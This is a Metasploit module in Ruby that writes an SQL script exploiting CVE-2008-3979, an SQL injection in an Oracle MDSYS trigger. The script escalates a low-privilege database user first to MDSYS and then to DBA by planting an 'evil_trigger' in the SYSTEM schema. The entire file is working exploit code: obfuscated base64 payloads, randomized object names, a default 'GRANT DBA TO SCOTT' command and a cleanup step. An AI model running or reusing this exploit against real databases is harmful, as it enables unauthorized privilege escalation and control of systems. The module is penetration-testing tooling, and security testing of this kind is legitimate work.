|
## # $Id: droptable_trigger.rb ##
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {}) super(update_info(info, 'Name' => 'SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger.', 'Description' => %q{ This module will escalate a Oracle DB user to MDSYS by exploiting an sql injection bug in the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege given to MDSYS user by creating evil trigger in system scheme (2-stage attack). }, 'Author' => [ 'Sh2kerr <research[ad]dsec.ru>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision:$', 'References' => [ [ 'CVE', '2008-3979' ], [ 'URL', 'http://www.securityfocus.com/archive/1/500061' ], [ 'URL', 'http://www.ngssoftware.com/' ], ], 'DisclosureDate' => 'Jan 13 2009'))
register_options( [ OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']), OptString.new('USER', [ false, 'The current user. ', 'SCOTT']), OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']), OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']), ], self.class) end
def run name1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1) rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function1 = %Q| CREATE OR REPLACE PROCEDURE #{name1} AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}'; END; |
function2 = %Q| CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is PRAGMA AUTONOMOUS_TRANSACTION; STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10); BEGIN #{datastore['USER']}.#{name1}; end evil_trigger;'; BEGIN EXECUTE IMMEDIATE STMT; COMMIT; RETURN 1; END; |
prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)" exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\"" exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')" fun1 = Rex::Text.encode_base64(function1) fun2 = Rex::Text.encode_base64(function2) prp = Rex::Text.encode_base64(prepare) exp1 = Rex::Text.encode_base64(exploiting1) exp2 = Rex::Text.encode_base64(exploiting2)
sql = %Q| DECLARE #{rand1} VARCHAR2(32767); #{rand2} VARCHAR2(32767); #{rand3} VARCHAR2(32767); #{rand4} VARCHAR2(32767); #{rand5} VARCHAR2(32767); BEGIN #{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}'))); EXECUTE IMMEDIATE #{rand1}; EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC'; #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}'))); EXECUTE IMMEDIATE #{rand2}; EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC'; #{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}'))); EXECUTE IMMEDIATE #{rand3}; #{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}'))); EXECUTE IMMEDIATE #{rand4}; #{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}'))); EXECUTE IMMEDIATE #{rand5}; END; / DROP FUNCTION #{name1}; DROP FUNCTION #{name2}; |
print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sql)
end
end
|
|
|